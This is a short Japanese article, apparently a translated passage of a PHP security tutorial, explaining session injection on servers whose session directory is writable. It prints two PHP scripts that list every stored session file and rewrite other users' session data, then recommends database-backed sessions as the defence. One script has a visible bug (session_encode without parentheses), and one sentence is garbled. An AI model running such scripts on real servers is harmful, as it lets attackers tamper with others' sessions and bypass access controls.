セッションの公開と同様の問題はセッション インジェクションです。このタイプの攻撃は、Web サーバーがセッション ストレージ ディレクトリに対する読み取り権限だけでなく、書き込み権限も持っていることに基づいています。したがって、他のユーザーがセッションを追加、編集、削除できるようにするスクリプトを作成することができます。次の例は、ユーザーが既存のセッション データを簡単に編集できる HTML フォームを示しています:
<?phpsession_start();?><form action="inject.php" method="POST"><?php$path = ini_get('session.save_path');$handle = dir($path);while ($filename = $handle->read()){ if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } }}$handle->close();?><input type="submit" /></form>
<?phpsession_start();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data){ $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data);}$_SESSION = array();?>
このクラスは攻撃しますとても危険です。攻撃者はユーザーのデータだけでなく、自分自身のセッション データも編集する可能性があります。攻撃者がすべてのセッション データを選択して変更できるため、アクセス制限やその他のセキュリティ対策をバイパスできるため、セッション ハイジャックよりも強力です。
この問題に対する最善の解決策は、セッション データをデータベースに保存することです。このトピックの前半を参照してください。
この記事のトピックリストは次のとおりです: http://www.nowwamagic.net/librarys/veda/detail/2079